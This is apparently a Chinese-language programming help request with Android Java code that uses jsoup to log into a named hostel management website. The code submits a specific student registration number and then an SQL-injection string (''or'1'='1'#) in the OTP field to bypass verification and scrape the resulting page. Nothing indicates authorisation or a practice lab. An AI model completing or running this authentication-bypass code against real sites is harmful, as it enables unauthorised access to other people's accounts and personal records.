我想登录网站并显示每个细节,并在用户输入时执行发布请求 . 所有这些都是在Android应用程序中完成的,通过jsoup html解析 .

这是我的android工作室代码:

getbtn.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View v) {
            getWebsite();
        }
    });

}

private void getWebsite() {

    new Thread(new Runnable() {
        @Override
        public void run() {
            final StringBuilder builder = new StringBuilder();
            try {

                Connection.Response initial = Jsoup
                        .connect("https://www.srmimthostel.net/olms")
                        .method(Connection.Method.GET).execute();

                Connection.Response login = Jsoup
                        .connect("https://www.srmimthostel.net/olms")
                        .data("reg_and_studid","RA1711003030443")
                        .data("subval","submit")
                        .cookies(initial.cookies())
                        .method(Connection.Method.POST)
                        .execute();
                Connection.Response login1 = Jsoup
                        .connect("https://www.srmimthostel.net/olms/check_student_record")
                        .data("otp_text","Hi'or'1'='1'#")
                        .data("otp_submit","submit otp")
                        .cookies(login.cookies())
                        .method(Connection.Method.POST)
                        .execute();

                Document doc = Jsoup
                        .connect("https://www.srmimthostel.net/olms")
                        .cookies(login1.cookies()) //use this with any page you parse. it will log you in
                        .get();
                String title = doc.title();
                Elements elements = doc.select("label");
                for (Element element:elements){
                    builder.append("\n").append("REg:").append(element.attr("text"));
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    result.setText(builder.toString());
                }
            });

        }
    }).start();

请提供答案here is the link to website